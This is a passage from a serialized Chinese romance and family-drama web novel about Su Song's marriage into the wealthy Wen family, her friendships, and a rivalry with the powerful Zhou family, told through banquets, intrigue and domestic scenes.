这叫称赞?
温戍礼觑他:“嗯,你心善,别争了,直接把顾家让给你堂哥,成全他。”
顾辽舟:“……”算了,损人这块,他损不赢他。
“我是说你机智。”
温戍礼理了理外套,不看他,说:“顾家的情报网该整理了。网络都更新到5G了,你家的线报水平还停留在多少年前。
我跟周家算碰上了,不能帮上忙,我不考虑。”
电梯正好往下,打开,温戍礼走进去,没有邀请,甚至连等一下顾辽舟都没有,径自上去。
余留下来的顾辽舟却没有在意,反而拍了一下手,叫好,他这是松口了。
“我就说,你肯定会帮我。
也只有你能
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帮我。”后面一句,顾辽舟是对自己说的。
合上的电梯门,反映出来他的倒影,影子里的他,嬉笑慢慢散去,眼神变得犀利。
周家而已,也不是不能碰。
。
包厢里
苏凤问苏颂:“戍礼刚才说,你们上午去见了朋友,你在这交了什么朋友?”
正把一勺鱼翅送进嘴里的苏颂,顿住。
那种窒息感又来了。
从她母亲走后,她奶奶不但要求她独立,还干涉她交朋友,那时候她小,以为听奶奶的话,不跟那些人交往,就能够得到奶奶的喜欢。
可是,伴随着她长大,她除了没朋友,并没有再感受到小时候奶奶给予的那种疼爱。
她变得好孤单好孤单。
“我听说那个闫丽到南城来了,你们没见到面吧?”
苏凤知道公司收到那笔资金是李家的之后,又顺道让人打听了一下闫丽,她开始还以为,会不会是自己当初看错人,这次李家少爷对苏氏的帮助,是因为闫丽牵线,结果,打听回来的消息是,闫丽在两年前就卖掉了夜店,早就去了南城发展。
苏颂艰难的把食物咽下去。用鸡骨高汤炖煮,又塞进老鸽肚子里,吸收了鸽子精华的鱼翅,此时竟然让她感到难以下咽。
“我……”
“要是见到了,也当不认识,你现在的身份不是她能高攀的,跟这种人走近,只会拉低你的身份。
别忘了,当年她蛊惑你流连夜店这件事,去年还让你上热搜,遭受非议!”
又来了,那种骨子里的瞧不起,那种命令式的说教,那种说一不二的掌控感……苏颂握着勺子的手收紧,所有不满却只能化成一声“哦”。
“嗯,我们没见到。上午我们见了正焕,他回来了。”
避免麻烦,她撒了谎。她不想再被她奶奶干涉交友了,三年前她就没听,私下还偷偷跟闫丽往来,现在就更不会听了。哪知道她奶奶听说是周正焕后,又说。
“对,要多交这种对戍礼有好处的。”
不是不能交朋友,只是只能交有利用价值的朋友!
089 强者对抗,悄无声息
马场这边,闫丽在温泉区找到周扬平。
“我就知道,他们找不到你,你只能是来泡温泉躲清静。”
闫丽走向池子边,一边走一边说:“你那个小迷弟说找不到你,先走了,小周也……啊!”
闫丽刚到池子边,周扬平忽然转身,一把抓住她,将她拉进池子里。
瞬间,水花四溅。
男人一手搂着她的腰,一手扣着她的肩膀,双臂结实有力,上半身,肌肉贲张,充满男性的力量美。
可,这场合,这姿势,让闫丽无心垂涎美色。
“你疯了,快放开我。”不管她怎么用力,他纹丝不动。
水下,他甚至紧紧的缠着她。
“万一被发现,你就不怕……”
闫丽担心的话还没说完,周扬平就哼笑出声,看着近在咫尺的美丽脸庞,抬手一刮,道:“你以为,温戍礼还没发现?”
闫丽惊讶:“你知道了?”
一对上他那双像是能洞识人心的褐色眸子,闫丽便自己托盘而出:“我不知道是他在炸我,我以为他真的知道了我们的关系。”
闫丽很紧张,周扬平身份特殊,他们已经在一起三年了,除了周正焕,没人知道,闫丽也不敢让人知道。
“他会不会利用这个要挟你?”她担忧的问。
跟她的害怕想成对比的,是男人的平稳。
周扬平说:“要挟算不上,顶多换一些他想要的便利。”温戍礼会把他们邀请到这里来,一方面是要验证猜测,一方面是要他的把柄。
“什么?那你还不快放开,还把把柄送到他手里,谁知道这里会不会有监控。”
闫丽更用力的推他,但她这点力气,完全不够看。
“好了,别乱动了。”周扬平的笑意淡了些,双手压制她的同时,又抱紧一些。他在她脖颈边轻嗅,她爱喷香水,被温水蒸发,味道更浓郁了些。
他的声音暗哑:“我都不担心,你怕什么。”
半个小时后,闫丽整理着自己,她原本的衣服已经全湿了,换上的是他的人新买的裙子,白色裙子上有流苏,闫丽触摸着,问他。
“你那天要我的流苏干什么?”
年底那次,两人许久未见,一见面,就干柴烈火,在她穿衣服的时候,他夸她扣子上的流苏好看,要了一串。
他从来没送过她礼物,他也不要她送的东西。他说过,他们之间只能是这种关系,没必要有其他的干系。
笑着的人,说着最狠的话。
所以,那天,破天荒的要了她的流苏干什么?
一身白衣黑裤,早就穿戴整齐的男人,正坐在温泉边,悠闲的品茗。
他轻轻的吹开茶杯上的茶叶,笑笑,道:“请君入瓮。”
。
虽然温戍礼有意邀请苏凤住下来,但苏凤吃完饭就回去了,与其说是来看孙女,苏颂觉得,她奶奶更像是来确定,她跟闫丽有没有再见面。
不管是六年前,还是现在,闫丽都是她奶奶最提防的人。
“夏叙挺可靠的。”车上,温戍礼忽然说。
带苏凤来的人是夏叙,这是苏颂第一次见到苏氏的新经理人,但这人还是陈曼曼的男朋友。
苏颂有些反感,但没有表现出来,点了点头说:“我奶奶也一直夸他。”能得她奶奶称赞的人可不多,想必是真有能力。
“你怎么了?看起来像是有心事,奶奶又说你了?”
原本温戍礼以为苏凤很疼爱苏颂,把苏颂宠得像个不谙世事的小公主,但去年苏氏的事情后,苏凤跟他关系亲和一些,也不会避着他跟孙女互动,结果他发现,苏凤总是数落苏颂。
她看起来闷闷的,不想说话,真是有心事不会藏的人。
温戍礼喜欢苏颂,不只是因为她好看,也不只是因为她贤惠,还有她单纯。他从小见多了有心机接近他的人,但每次回家,看到的都是她清澈懵懂的表情,人都轻松起来。
喜欢一个人,相处舒适这点很重要。
苏颂的肩膀靠在车门上,整个人有些颓靡的说:“我只是在想,我应该没有朋友比较好。”
正打开邮箱打算工作的温戍礼一听,侧过头看去,只见她的脑袋随着车子的行驶,轻微的
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晃着,像是一具没有自我意识的躯壳。
“你问的李斯俊……”
来时,他问了这个人,但她思考很久,一直到车子抵达。
她的考虑原本已经让他打消了问下去的打算,他是个理智的人,她的表现已经说明那个男人对她很重要,明知道会让自己不快,就没必要探究,给自己添堵。
现在,她却主动说了。
温戍礼的手指敲了一下笔记本的边缘,用喉咙发出一个单音节:“嗯?”
“他救过我,是我的恩人。”
。
元宵夜,温家举办了家宴,来的都是温家的亲戚。
苏颂在宴会上,又遇见了温禾。自从知道她把包包还给温戍礼之后,苏颂就断了跟她走近的念头,她以为,温禾那是拒绝她的意思。
苏颂看到她要掉头走,哪知道温禾却追过来:“哎呀,婶婶,你怎么见到我就走啊!”
温禾喊温戍礼“叔”没错,但他辈分高,被喊习惯了,苏颂却不习惯。
特别面对的,还是跟她差不多大的人。
苏颂回头,牵强的笑笑:“要不,你喊我姐就行。”多大的人,还糯着声音喊“婶婶”,苏颂真有点受不了。
温禾却说:“那不行,叔会打我。”
苏颂:“……”
她只能不再跟温禾纠结称呼问题,问:“你找我有事吗?”这么多人呢,直接奔着她过来了。
温禾说:“你上次不是问我能不能介绍阿灿给你认识吗,今天他也来了。”
江灿虽为客,但周围热闹不差主人家。身为大院子弟,就算他没有选择跟父辈一样的仕途,有背景光环在,让他到哪依然众星捧月。
温禾牵着苏颂过来,直接介绍:“喏,这就是我未婚夫江灿。阿灿,这就是我婶婶。”温禾介绍完,还靠近苏颂低声说,“他其实没那么厉害,做风投会成功,主要都是熟人介绍给他的。”
多靠谱啊,能不成功吗。
有关系,有背景,还有贵人愿意帮,这也是一种实力。她需要多认识一些有实力的人,至于能力,温戍礼有。
090 老婆为我未雨绸缪,开心
温禾只是低了一些声音,不是消声。江灿听见了,喊她:“温禾,你又说我坏话。”
苏颂听后,浅笑:“她这是低调,温家人骨子里都谦虚。”
周围的人都是温家的亲戚,立刻一阵附和。场面没有冷下来,苏颂这话获得了在场所有温家人的好感,她感到满意,这些人以后也可能会帮到温戍礼。
她想找机会再在江灿面前多加深一些温戍礼的个人形象,这样以后真需要江灿帮忙,他才会帮温戍礼。
不远处的顾辽舟用手肘捅了捅温戍礼:“嫂子怎么也认识江灿?”
温戍礼正跟人寒暄,闻言看过去。
距离人群不远,他也听到了苏颂那半带讨好的语句。
顾辽舟诧异:“我没理解错的话,嫂子这是在刷好感?”来回看着这对夫妻俩,顾辽舟琢磨出来点什么。
“你还没告诉嫂子,你就是温家准继承人的身份?”苏颂这样做,显然是在帮他拉拢人脉关系。
但堂堂温家,南城首富,更别说,温戍礼背后还有宋家,可不是一般的富贵人,如果真到了有需要的地方,就这些得不到正统继承的大院子弟还真不一定帮得上。
所以,压根没必要拉拢。
顾辽舟瞧着苏颂在人群里八方玲珑,喜笑颜开的样子,难得称赞一句:“不过,你别说,嫂子还是会挑人的。”比起拉拢温家那些旁支,江灿的价值就大多了。
温戍礼垂下眼眸,敛下眼里的精光,之所以还没告诉他,也许是他也享受被她放在心上的感觉吧。
从未有人为他谋划过,不管是他的父亲,还是母亲,他们都只会要求他,认为他优秀是必然的,却不知,他的成长之路也有过无助,也想有人来帮他。
压下心中那阵暖流,再抬眼,又是一派清贵,他淡淡的说:“她太无聊了,需要点事打发时间。”
发展一些好的关系,总比心思都放在不正经的人跟事情上好。
温戍礼移步,免得打扰她大展身手。
顾辽舟跟上:“你太纵容她了。”夫妻一体,苏颂在外代表着他,如果她太随和讨好,肯定会让人在背后议论,偏偏温戍礼自己一向是高傲冷淡的,看不爽他的人,说不定还会因此笑话他。
但温戍礼不在意,还反问:“你怎么就知道她的计划不会成功?我现在坐着的CEO的位置,不就是她曲线救国得来的?”
温戍礼瞧着灯火辉煌的温家大别墅,他已经搬离这里好多年了,感到有些陌生了。
“我爸是没办法直接换继承人,但不一定没想过。”从他三年前一气之下,说不会进盛泰之后,温航之就没再提过这件事。
到底是顺着他的意不敢提,还是装糊涂,争取时间让他其他两个儿子长大,只有温航之自己知道了。
温戍礼低头,刘海打下一片阴影,上次被温航之打的地方留疤了,他有在配合医美治疗,但医生说要完全消去疤痕,至少得一年,所以暂时只能用刘海遮住,让其不要那么明显。
老话说,**不打脸。这是温航之给他的警示,也让他意识到,他的继承人之位并没有十足十的稳当。
他答应接手搁置半年的养老项目,除了要平息苏颂上热搜那件事,其实也是想抓住一些实权——这个项目成了,他在盛泰的地位,将无可撼动。
心里的盘算又多又细,但面上,温戍礼仍是平稳的,他拿了一杯香槟,浅尝的时候,听到身旁的顾辽舟说:“你也挺不容易的。”
就在这时候,温戍礼的手机响了。
顾辽舟收回正想跟他碰杯的手,等他接电话,结果温戍礼接完就往外走,脚步有些快。
顾辽舟只能又放下酒杯,快步跟上去,这里人多,也不敢问,直接到了门口,他才问道:“怎么了?”
“跟踪闫丽的人被打了。”
温戍礼刚发现闫丽跟周扬平的事情,才几个小时,他的人就被打,意识过来的顾辽舟也严肃起来:“难怪你说你跟周家对上了。”这事他怎么就忘了。
温戍礼没忘,在确定闫丽的男人就是周扬平之后,他就打算撤下这个人,但是联系不上了。他的人也找不到,原来早被周扬平带走了吗。
他拧着眉,向来都是
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他盘算人居多,第一次,他感到被动,周扬平是从什么时候对他布网的?
难道他跟闫丽的关系,是故意让他发现的?
顾辽舟急起来:“他为了一个女人,这么不遮掩?”周家人不出手则已,一旦出手,可麻烦得很。
“这是你家的宴会,你还是留下来招待他们吧。这种事交给我去处理。”虽然对手很强,但顾辽舟依然自告奋勇,提出要合作的人是他,既然合作了就要共进退。这就是他顾家人的义气。
夜风里,顾辽舟颇有几分大义凛然。温戍礼自然也接受到,这是他接受了自己的条件。有些合作只需要默认。
但周家,如一个不知底的深渊,他现在也摸不清周扬平,让还没得到顾家大权的顾辽舟单枪匹马面对,太冒险。
温戍礼说:“这里有人会去招待。我带你去,你找不到地方。”
院子里,苏颂看到温戍礼跟顾辽舟出去了,一直没进来。
不少人都看到了,江灿问:“温大少跟顾大少的关系一直这么好吗?这个顾大少可不简单。”
听到江灿这样说,苏颂赶紧为两人撇清关系,笑了笑说:“没有。来者是客,他只是送送。”
她只能尽量圆,江灿的家族一大半都在警署,最敏感的就是顾家这种道上发家的。不过,今天是家宴,他邀请姓顾的来干什么?
苏颂轻咬下唇,没想到这事被林美丽说中了,温戍礼要是跟顾辽舟走近,迟早被拖累。
“你可真为你老公说话。”江灿忽然靠近一点说,“果然,能让正焕心心念念的小姑娘很特别,果然啊,得不到的才是最难忘的。”
苏颂一脸“你在说什么”的表情。
知道苏颂在周正焕心里有地位,但摸不准两人之前有没有交往过,于是江灿也不敢说太多,改而说:“我的意思是,你见到他的朋友都不会问他一句,只会满心思为你的丈夫考虑。
这事要是被正焕知道了,不知道他以后还会不会念叨你。”
他笑得坏兮兮的,苏颂却瞪大着眼睛,惊讶的说:“你跟正焕还是朋友?”
091 温大少,深藏不露
温戍礼带着顾辽舟来到他的工厂,到达目的地之后,顾辽舟很震惊:“靠,这地方,全是你的?”
地方很大,但又足够偏僻,让他找,没有方向,短时间内绝对找不到。
他看到生产的东西后,嘴巴更是张成“O”型。
与顾辽舟的震惊形成对比的是温戍礼直迈向前的步伐,严肃、泰然。
顾辽舟放下东西,也往着更里面走去,在温戍礼身边小声保证:“你把这么大的秘密都告诉我了,为表诚意,以后你有任何事,不方便办的直接叫我。”
他不再嘻嘻哈哈,有的是身为顾家下一代的江湖义气。
两人走到里头,里面十几个打手,中间是被打断两手的男人,这个人,就是温戍礼派去跟闫丽的。
原本他是要撤回来的,结果晚了一步。
“这个周……他下手还真狠。”顾辽舟说,一个人死还不是最可怕的,明明活着,却残废,才是最折磨人的。这人的职业是侦探,一双手的作用等同于饭碗,以后好了,也得改行了。
感受到身旁冷飕飕的低气压,顾辽舟这才发现温戍礼的脸色极其难看,他不由得看着他,不明白他为什么这么凝重。
温戍礼死死盯着被打断手的手下,开口:“他不仅知道这里,还知道我是在这里断了陈曼曼的手。”
他仰头环顾高处,好似要找出那个人的眼睛:“有内鬼!”
。
隔天,正月十五一过,大家也都收心回到工作岗位上,温戍礼也开始新年的第一趟出差。
他一年到头,至少有三分之一的时间在出差,本来没觉得有什么,结果洗完澡出来,看见苏颂在帮他收拾行李。
“阿姨在忙吗?怎么你在弄。”温戍礼擦着头发走过来,她把衣服都折叠成正方形,甚至连领带都整理成小方块,而不是小圆筒。
他这个小妻子,收纳能力很好,只是她很久没有给他收拾过行李了。他还记得,是因为他不让她养猫。
大概是一年前吧,有一天晚上下雨,他回来的时候,发现苏颂一直在望着窗外,黑压压的天,像是被捅破窟窿一般的倒雨,雨水很大,打到玻璃上,发出很大的“滴答”声,让他觉得很吵,特别是裤腿那,被车身流下来的水溅到,湿哒哒的,让他感到烦躁。
这破天气,根本没什么值得欣赏的。
于是他问她,在干什么?
她说:“我刚才在楼下看到一只小猫,当时还没下大雨,它就已经冷得发抖了,不知道这会有没有找到地方躲雨。”
听见女人呢喃一般的散发着爱心,他却没有半点怜悯心理。畜生可怜?那是没见过人性相残。
不过他也没有打破女孩子美好的单纯,附和了一句:“那些小东西都聪明得很,会找地方躲雨的。”
他当时只想快点去把衣服换下来,一点点湿了而已,但那点垂重感就让他感到很不舒服。
可苏颂从飘窗上下来,走向她,目露乞求:“可是外面很冷,我们能不能养它?”
他当时心情不好,没多少耐心,语气有点凶,又快又直接的说:“不行,吵。”
流浪猫多脏,万一有什么病毒呢?再说了,那些小玩意,养起来麻烦而很,不仅吵,还需要人用心的照顾,她顾得过来吗。
虽然当时心里的想法很多,但他都没有挑出来解释,只说了最核心的——因为那会儿外面的雨声真的太大了,让他觉得很吵。
还打了个响雷,让他彻底不想聊下去,边准备去换衣服,边同她说:“我明早要出差。”
婚后头一年,两人聚少离多,却常常如胶似漆,第二年,虽然关系没有那么亲近,他忙着工作,她尽心把妻子的职责做好,两人相敬如宾,也算和气,可那次……
他出来后,她依然坐在玻璃窗边,隔天,他的行李也没有整理。
……
苏颂说:“她在煮汤圆,元宵节在楼下促销买的,想吃。”东西是苏颂节前,跟阿姨一起逛超市的时候买的,本想着昨天吃的,结果她奶奶来了,昨天中午就没煮。
她把行李箱合好,站起来。温戍礼的目光
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却落在她身上:“想吃?你好像很少吃甜。”
他的视线下移,转移到她的肚子上,苏颂明白过来他的意思,瞬间有些害羞:“你怎么一天到晚想着我怀孕,月经才走多久。”
初三来的,初八才走,满打满算,也就才走了一个星期,但中间他们就同房了一次,哪有那么准的。
“就算有,现在也测不出来。”苏颂说,双颊微微红。
为什么老是怀疑这个事呢。
温戍礼走了一步,就到她的跟前,低头看着她,深邃的眼,像是藏着巨大的蛊惑。
“一次不准,我们就多来几次。你朋友给你推荐的那些小工具还有一样没用,我们……”
他低了些头,靠近了些,两人鼻息交缠,温度陡然升高,他的气势逼近,苏颂却退缩的往后退了退,可后面就是衣柜,无路可退。她被他圈在之中。
更要命的是,胡乱塞在衣柜的小工具还滚下来,袒露在他们面前。
这东西,温戍礼第一次就想用了,苏颂不让,中间一次,温戍礼又说,她直接拿着东西塞进衣柜里,提示他别想。
可现在,那东西,圆圆的躺在那,还晃了晃,像是在毛遂自荐。
看着那长度,苏颂咽了咽口水。
温戍礼压下来,呼吸洒在她的肌肤上,激起一阵颤栗:“试试,也许会让你有全新的体验呢。”他像是一个尽责的推销员,开始极力的推荐。
苏颂拿捏不准温戍礼的心理,按理说他平常那么高傲自信的人,是不准许有人质疑他的。
但是这会他甚至有耐心的讲解着人体结构,一步步的给她制造幻想,让她步入他制造的想象里。她不知道是不是听迷糊了,还真的点了头。
可最后,还是他。
高涨之际,他靠近她,声低且清晰:“还是我好是不是。记住现在的感受,我是最适合你的,苏颂。”
爱会消失,但身体的记忆,可以一辈子。
他不擅长说爱,也从不奢求爱情,既然是她,只想一辈子是她,足矣。
。
092 贼心不死的温泰
温戍礼向来精力好,事完洗个澡就去出差了,这一次,苏颂没有再睡,而是吃了阿姨煮好的汤圆,出门来到温家。
在门口,看着温家的院子,安安静静的,好像昨晚宴会的热闹只是虚幻一样。
婚后第四年,她依然觉得温家很陌生。
这是上次温航之不用她敬茶后,她自己主动一个人上门。
到底还是正月,温航之没把行程排满,苏颂到的时候,他正在写字。看到苏颂,他往她身后瞧了瞧。
“戍礼没有跟你一起来?”
苏颂说:“他出差。”
温航之放下笔,说了一句:“这样啊。”
偏厅的设计是温航之自己决定的,挂着的都是他自己的墨宝,他喜欢草书,虽然苏颂看不懂,但还是夸了一句:“爸的字体越来越丰筋多力了。”
被人夸赞最喜欢的爱好,就算是温航之也开心极了,他笑起来:“在戍礼小时候,我一练字,他就到他妈面前说我不务正业,没想到那小子不解风情,倒是娶了一个有眼光的好老婆。”
有人端了清水上来,温航之洗了手,然后坐下,示意苏颂也坐,问道:“为戍礼来的?”
能当温家家主的,并非凡人。被一眼识破,苏颂也没瞒着,说:“我只是想让爸别再生戍礼的气了。”
苏颂没坐,给温航之续了茶,这事她做了两年,已经熟能生巧。她端起茶杯,敬茶。
温航之打量她半晌,到底还是松口,解释:“年夜饭那事,不是故意不等他,是真以为你们不来了。”他知道,是年夜饭先开饭,让苏颂感到不安,才会在儿子一出差,就独自赶过来。
他接过,没马上喝,又问,“我跟他闹别扭,主要还是因为我打了他那一下,但起因是他和陈家那个不清不楚,你真的不介意?”
温航之当时会那么生气,不全是被煽风点火的作用。陈父陈耀辉是个心机深沉,喜欢走邪门歪道的人,他不想自己儿子被陈家抓住把柄,从而受威胁。再者,当时温戍礼的态度激了他。
虽说为苏颂考虑的不多,但这件事处理了,最大好处还是她。
事情已经过去三个月了,温戍礼自己没来认错,反而是苏颂来了。
这会,他想知道苏颂内心真实的想法。
苏颂说:“我介意也没用,比起介意过去,我更想过好跟戍礼以后的日子。”
她说的隐忍大度,那柔弱可怜的样子,让温航之觉得自己再怄气,就是他小气了,低头,把茶喝了。
喝完,温航之说,“苏颂,你这样善解人意,戍礼会喜欢你的。”这婚,温戍礼一开始不愿意,加上婚后他一直拼工作,让温航之以为,自己儿子不喜欢苏颂。
“也可能他已经喜欢你了,要不然,大过年的,他竟然找我吵架。”
温戍礼还跟他爸吵架?
见苏颂不知道,温航之说:“因为让你去找周家人疏通项目的事情,被他知道了,找我撒气,说不应该让你掺和进来。”
温航之望着外头,目光坚定:“可有关系不走不是傻子吗?他不想想,这么难办的项目被他拿下来了,能获取多少人的信服。身为一个妻子,能帮到丈夫是光荣的。”
某种程度上,她公公跟她奶奶是一样的,只要是能利于家族事业的事情,就都是好事。
他的视线转移到苏颂上,不想被媳妇觉得他太无情,刚柔并济,开始安慰苏颂:“养老机构的项目有点大,又是政府工程,流程要多很多,等他忙完这个,就会有多一些的时间陪你了。”
最近两人的关系好了,他身为长辈能看得出来。联姻没错,但如果两人之间能初出感情更好。
苏颂应了声“好”,要办的事办成,规矩的离开。
她温温柔柔,得体分寸的样子,又获得了温航之不少好感,看着她走出门的背影,温航之点点头,娶妻当娶贤,就该是这样。转眼就看到从后院小门进来的林美丽,脸色一变,显然不耐烦。
这态度转变,让林美丽脸色一沉,走进来,说:“她还真的了
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解你,知道你一心只想有人来服个软,戍礼不来,她就来了。”
不管什么身份什么地位,到了年纪,只想家和万事兴。温航之就是拉不下面子,而苏颂今天递了台阶,让他顺了这个面子。
就算被甩脸色,林美丽还是找话搭了,可温航之还是重重的“哼”了一声,开始继续写字。自从年底温戍礼急匆匆找过来,不知道在书房跟他说了什么后,她就挨了一巴掌,并且温航之最近横竖看她不顺眼。
她气得磨牙,手都握紧了,不敢对温航之反抗,只能愤愤的盯着苏颂远去的背影。
不管是那些贵太太,还是温航之,都公认她苏颂是个好贤妻。可是事事俱到,无可挑剔,难道就不是一种心机吗?
有时候,不争,是更高境界的一种争。
苏颂,真是藏得太深了!
。
苏颂经过客厅,遇到了温泰,自从会所那夜之后,两人还没有单独打照面过,苏颂转身想绕路,可温泰怎么会放过她。
温泰快步闪到她面前,道:“大嫂看到我就想走?”
这里是温家,温航之就在偏厅,苏颂没有撕破脸,打了招呼:“没有。二叔。”
温泰磨牙,瞧着苏颂,下流的说:“以前听你这样喊,是想干,现在听你这样喊,还是想干。”
都是动词,但后半句,明显听出杀意。
她拿啤酒瓶砸他那一下,是真惹到他了。
“你干不过他的,温泰。”既然不喜欢她那样喊,就直呼名字好了。
苏颂挺直着腰杆,一改刚才柔柔弱弱的样子,目光回视着他:“想在这里被我打?”
说完,她恍然大悟一般的笑笑:“哦,也不是没打过。”
她这样,欠扁极了。偏偏气得温泰只能攥拳头,无可奈何。
那次,是他第一次见到苏颂,当时的温泰年纪不大,虽然也交往过女朋友了,但真没有过那种感觉——像是触电一般。苏颂可能不知道,他走过去的时候,已经是在走廊停顿许久之后了。
093 温太太是自由的
小姑娘扎着辫子,穿着素色的裙子,中规中矩的打扮,却因为那白皙光滑的皮肤,整个人亮得在发光。
明明是春暖花开的季节,可她的存在,让万花都失了颜色。他平复好心脏乱了的节奏,才走近,看她在张望,忍不住想捉弄,结果却被她当成轻浮,直接给了他一巴掌。
那是第一次有人打他,还打脸!
苏颂不再看他,直接略过。不甘心的温泰却说:“得意什么,你以为温戍礼真的在意你?”
她不想搭理温泰,可听到他说温戍礼,还是停下脚步,但没回头,温泰的声音传来。
“他不过是看你有价值而已,在这南城,谁不想搭上周家的关系。苏颂,能认识周家人,算你本事。
但你不想想,温戍礼那么高傲的人,真的能容得下自己老婆的绯闻对象?
万一哪天想不通,反而把周家得罪了,我等着看他倒霉的时候。”
温泰上下打量苏颂的身段,猥琐的说:“也等着你来求我!”
。
温戍礼这边,他还在车上,正跟人通着电话,助理肖直便开门进来。
他问:“怎么样?”
肖直回:“我们的拜访贴,被周三爷退回来了。”
闻言,温戍礼没有太意外,点头,示意可以开车了。
手机那端的顾辽舟也听到了,说:“他把事做得这么直接,又不见你,到底要干什么?”
这个,温戍礼暂时也不清楚。官场的人,心思千缠百绕,哪里是能轻易看透的。
温戍礼说:“你让稳妥的人悄悄查,查不到就停,现在先不要打草惊蛇。”
周扬平出手那么狠,他不想把人逼急。
他揉着眉心,道:“不知道那个女人是他的人。”人有失算,马有失蹄。温戍礼有些懊恼,“让人去跟他的女人,他生气也合理。”
事情只是一下子放到一起,让他动了情绪,但冷静下来,他会一码归一码。他扫过窗外略过的景象:“只要他不对工厂出手,我不会跟他硬碰硬。”
跟强敌较劲,最好的结果也是损失一千,自损八百。能避免就避免。
顾辽舟明白他的意思,说:“我知道了。我会让我的心腹去查探。”
“嗯。”
顾辽舟又说:“周家人个个心机都很深,你真的放心让嫂子跟他们来往?”
当听到温戍礼要把他们几个跟苏颂的朋友组在一起,名义上是相互认识的时候,顾辽舟就觉得奇怪了。
“还是,你原本是想通过嫂子,加深跟周家的关系?”哪知道却有了后面的事情。
“她是我老婆,我还没到为了钱,连老婆都利用的地步。”温戍礼打断他的猜测。
听出来温戍礼不高兴,顾辽舟笑:“对,温大少是个重情义的好商人。”
一语双关。他帮他,也是有因为两人是老同学,旧识的份上。
面对他的打趣,温戍礼难得没有回怼,而是解释:“她被苏家的担子压得太重了。我想了想,她应该是没有什么朋友,所以才会对年少时期认识的几个人,那么念念不忘。”
对于闫丽,他依然觉得不适合做苏颂的朋友,至于周正焕,异性就更不用说了。但是昨天后来,她坐在车里,怔怔的那句“我应该没有朋友比较好”,像是失了灵魂,莫名让他心头一刺。
所以后来到家的时候,他告诉她“想见朋友就去见,想认识谁就认识谁,温太太是自由的”。
他从小就被委以重任,有温家、宋家两座大山压着,他都没时间交朋友,可不是谁天生就享受孤独的,他也期盼过朋友,跳出圈外,认识别的领域的同龄人。
谁的青春不叛逆,所以,他理解苏颂。
“我从没见过她像那天那样高兴,她愿意跟我分享她的朋友,何尝不是在认可我。”让他融入她的圈子。他摩挲着手指,想起她当时的样子,一直闷着的表情,微微勾了唇。
只是答应认识一下她的朋友,她马上就手舞足蹈了,一直对着手机傻笑。虽然他知道,她是在跟她的朋友笑,但他当时,觉得,这
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样也不错。
顾辽舟“啧”了一句:“你对她,真是走火入魔了。”
。
苏颂来了闫丽这里,正月过半,清吧的生意也冷清许多。
闫丽拍着苍蝇嘟囔:“早知道要多一点钱了,没钱打广告了。”现在做推流,都是撒钱,没钱就没量,实体也一样,不发券都不来。
苏颂在想事情,听到闫丽的嘀咕,回神,问:“要什么钱?”
闫丽抬眼盯着她,因为她本来是低着头,这会有些倒三角。苏颂被她看得不自在:“怎么这样看我?”
闫丽:“你觉不觉得,你像钞票?”
不知道内情的苏颂,当然不知道是因为自己,闫丽才得了那一百万的补偿。
苏颂摸着自己的脸,一脸单纯的问:“我真那么好看,像钞票一样有魅力吗?”
撑着下巴的手放下来,闫丽无语地看她,正想怼,又听到苏颂说。
“为什么温泰那垃圾每次看到我,都一副想吃了我的样子。”那种感觉,就像晚上,她跟温戍礼单独相处,他看她的表情。
本来她也不是很懂男人这种表情代表什么,但自从在云城,温戍礼开了特定房间,跟她在里面纵欢之后,苏颂往后每次做,都注意到他的眼神就是想要吃了她的样子。
只是,被温戍礼看,她是觉得害羞,被温泰那样子看,让她感到恶心。
她又觉得浑身难受极了。
闫丽收回要骂人的话:“我还以为你是要说你家温大少多腻歪你,被你的魅力迷得看到你就想呢。原来是说垃圾呢。”
提起这个**,闫丽也来气,没注意到苏颂红了又淡了的脸色。
还真的被她说对了,自从两人打算要孩子后,温戍礼可不是越发不节制了,只要她方便,他真差不多看到她就要,还热衷那些小武器。苏颂为此很苦恼。
不过幸好,那些小武器都用完了。
“你在哪又遇到那个垃圾了,他有没有骚扰你?”闫丽追问。
“在温家,他不敢。”苏颂说。
094 冷漠是他的常态,无情才是底色
温泰在外面花天酒地都是暗中的,这事她是听温戍礼说的,说他在King都是用别人的名义开包厢。所以他在温家,不敢对她太放肆。
“他是不是又对你说了什么?”闫丽问。
苏颂迟疑着说:“他说,戍礼并不是真心接受你们,说只是想通过我,认识正焕,搭上周家。”
虽然明知道温泰的话不可信,可苏颂一路上,到了这里,一直在想这件事,温戍礼真的不是接纳她的朋友才答应见面的吗?
她正疑惑着,听到闫丽说:“她当然不是真实接受我们的。”
苏颂看着闫丽,听着她一字一句的说:“他之前还让人砸了我的店,要赶我出南城。”
什么?
从第一次踏进温家大门那时起,苏颂就知道,温家跟苏家不在同个层次,所以嫁给温戍礼之后,她一直谨言慎行,甚至照着他的喜好,讨好着她。
可是……夫妻三年多,他竟然对自己不信任到这样,竟然还暗中为难她的朋友……
苏颂艰难的找回自己的声音:“他怎么可以这样!”
苏颂走了,有些仓惶,有些窘迫。闫丽看着她一路走远,拿起烟盒,敲了一下,抽出一根,放进嘴里,点燃。
这件事,她从来就没有想过要瞒着苏颂,不是要挑拨,而是她们是真正的朋友,朋友不应该有所隐瞒,她有权知道,然后去考虑如何处理。
吐出的白色烟雾,为她的美艳增添几分颓然的美。就在这时候,她的手机响了。
是一串没有署名的电话,但对这串数字了然的闫丽,快速的接起,只听她的声音还有几分雀跃。
“你怎么会打电话给我?”
“你干了什么事不知道?”
跟她的兴奋截然相反,对方的话语冷冰冰的,语气质问。闫丽的笑顿住,连夹着烟的手都停在半空。
“你要报复温戍礼是你的事,不要借用我的名义。我早说过了,我们之间的关系就只能是这样的关系,没有其它关系。
你越界了!”
要不是温戍礼派人给他送拜访贴,他还不知道,这个闫丽,胆子够大,竟然把殴打温戍礼手下的罪名按到他这里。
闫丽的笑容僵在脸上,还没降下来的弧度,让整个表情显得怪异,像是一个……小丑。
烟往嘴里送,男人的声音继续传来:“你听到没有?”
又是命令式。
“听到了,又没指望你护着我,是他自己误会。”把烟摁灭,太呛了,难抽。
闫丽是个张扬不驯的人,她好说话的时候,就说明她心情不好。
最后,周扬平说:“仅此一次。”挂了电话,算是放她这一次。
她知道,他清正不阿,更不准身边人借用他的名义作歹。可是温戍礼这样欺负她了,他只让她先躲起来,竟然半点为她出气的意思都没有。
她原本并不知道,温戍礼还派人跟着她,是周扬平的人抓人的时候,正好被她在楼上看到了,手是她打断的,她想用温戍礼教训人的方式教训他的人。
闫丽扬起头,眼泪如同断了线的珍珠掉落,她是人,一个女人,伪装得再好,也希望有人疼,可他让她伤心了。
